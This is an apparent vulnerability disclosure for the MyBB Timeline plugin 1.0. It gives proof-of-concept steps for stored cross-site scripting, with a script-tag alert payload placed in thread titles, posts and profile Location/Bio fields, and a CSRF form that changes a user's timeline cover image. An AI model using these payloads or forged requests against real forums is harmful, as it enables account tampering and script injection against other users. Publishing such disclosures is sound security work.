The MyBB Forum plugin Timeline version 1.0 is vulnerable to XSS(Cross site Scripting) and CSRF(Cross Site Request Forgery) attacks.
# Exploit Title: MyBB Timeline Plugin 1.0 - Cross-Site Scripting / CSRF # Date: 1/21/2021 # Author: 0xB9 # Software Link: https://community.mybb.com/mods.php?action=view&pid=1428 # Version: 1.0 # Tested on: Windows 10 1. Description: MyBB Timeline replaces the default MyBB user profile. This introduces cross-site scripting on user profiles & a CSRF that allows for the users timeline banner/image to be changed. 2. Proof of Concept: ~ XSS via Thread/Post ~ - Make a new thread or reply to an existing thread - Input a payload in either the thread title or main post itself <script>alert('XSS')</script> Payload will execute when visiting your profile. ~ XSS via Location/Bio ~ - Go to User CP -> Edit Profile - Input a payload in the Location/Bio <script>alert('XSS')</script> Payload will execute when visiting your profile. ~ CSRF ~ <form class="coverpicForm" action="http://localhost/mybb/timeline.php?action=profile&uid=1" style="display: block;"> <input type="text" name="coverpic" placeholder="Add Image URL" required=""> <input type="hidden" name="do_coverpic" value="change"> <input type="submit" value="Change"> </form>
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